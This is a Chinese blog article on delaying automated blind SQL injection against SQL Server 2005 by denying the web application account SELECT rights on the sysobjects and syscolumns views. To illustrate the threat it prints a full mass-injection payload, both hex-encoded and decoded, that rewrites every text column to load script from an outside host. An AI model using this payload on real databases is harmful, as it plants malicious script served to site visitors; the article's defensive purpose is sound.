延缓SQL盲注与SQL Server的权限(图)

所谓SQL盲注也就是采用自动化的程序来自动的扫描注入点,并可以自动扫描数据表进行大规模批量注入,其危害性也最大。

这里我们来探讨一种与SQL Server权限有关的延缓SQL盲注的方法。

一般来说SQL盲注的最终注入代码都类似于如下片段(SQL Server 2000/2005):

DeCLaRE @S NvArCHaR(4000);SeT
@S=CaSt(0x4400650063006C006100720065002000400054002000560061007200630068006100720028003200
 
3500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063
 
006C0061007200650020005400610062006C0065005F0043007500720073006F00720020004300750072007300
 
6F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E
 
004E0061006D0065002000460072006F006D0020005300790073006F0062006A00650063007400730020004100
 
2C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E0049
 
0064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700
 
200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E0058
 
0074007900700065003D003300350020004F007200200042002E00580074007900700065003D00320033003100
 
20004F007200200042002E00580074007900700065003D00310036003700290020004F00700065006E00200054
 
00610062006C0065005F0043007500720073006F00720020004600650074006300680020004E00650078007400
 
2000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074
 
006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F00
 
5300740061007400750073003D0030002900200042006500670069006E00200045007800650063002800270075
 
007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B0
 
0400043002B0027005D003D0052007400720069006D00280043006F006E0076006500720074002800560061007
 
20063006800610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B
 
00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F003300
 
620033002E006F00720067002F0063002E006A0073003E003C002F007300630072006900700074003E00270027
 
00270029004600650074006300680020004E006500780074002000460072006F006D0020002000540061006200
 
6C0065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E0
 
06400200043006C006F007300650020005400610062006C0065005F0043007500720073006F007200200044006
 
50061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200
 
aS NvArChAR(4000));ExEc(@S);–
 

解密后就是下面片段:

Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor
For Select A.Name,B.Name From Sysobjects A,Syscolumns B
Where A.Id=B.Id And A.Xtype=’u’
And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec(’update [’+@T+’] Set [’+@C+’]=Rtrim(Convert(Varchar(8000),[’+@C+’]))+’’《script src=http://3b3.org/c.js》《/script》’’’)
Fetch Next From  Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor
 

其中的Script符号我替换掉了。

同样可以看到当中我用粗体标注出来的表名sysobjects,syscolumns。SQL盲注就是利用这两个系统表来进行遍历的。

所以暂时延缓SQL盲注的方法就是将程序中访问数据库的账号(注意:绝对不要用默认的sa权限,而建议你为你的Web应用程序单独建立需要的访问账号)移除掉对于这几个系统表的访问权限即可避免盲注(我特意注明是盲注,因为注入点还是存在,只是延缓掉SQL盲注而已)。

比如你Web应用程序访问数据库的帐号为tnt001,要禁止掉的对于系统表sysobjects,syscolumns的访问权限的方法如下:

SQL Server 2000比较直观简单,而SQL Server 2005开始就完全重构了整个系统架构,有一定不同,所以这里以SQL Server 2005为例来详细说明(SQL Server 2008类似):

Step 1: 选择某一个具体的数据库,点击节点“安全性”->“用户”,然后选择你需要的账号比如tnt001,右键选择属性

Step 2:选择属性页的左侧的“安全对象”

Step 3: 点击 安全对象 下的“添加”按钮,选择“特性类型的所有对象”

#P#

Step 4:选择“视图”,并选择其中的sysobjects,syscolumns

Step 5:将选定的几个视图的“Select”权限选定为 拒绝

点击确定即可.

用账号tnt001连接,然后访问sysobjects测试会得到拒绝访问的提示:

“拒绝了对对象 ’sysobjects’ (数据库 ‘mssqlsystemresource’,架构 ’sys’)的 SELECT 权限。”

上面的方式只是延缓了SQL盲注,因为大规模批量注入都是程序自动进行的,这种方法也就是屏蔽掉了程序对于此类SQL Server数据库的盲注攻击,但是SQL注入点还是依然存在的,如果是人工在得到相关信息的情况下进行注入,还是无法避免的,治本还是需要从源程序入手彻底修改掉。

但往往由于实际情况中,涉及到SQL注入漏洞的源程序非常庞杂,代码需要Review的量很大,这种延缓SQL盲注的方法也就为你彻底排查并修改掉有漏洞的程序赢得了一定的时间。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/144390.html<

(0)
管理的头像管理
上一篇2025-03-10 03:37
下一篇 2025-03-10 03:39

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注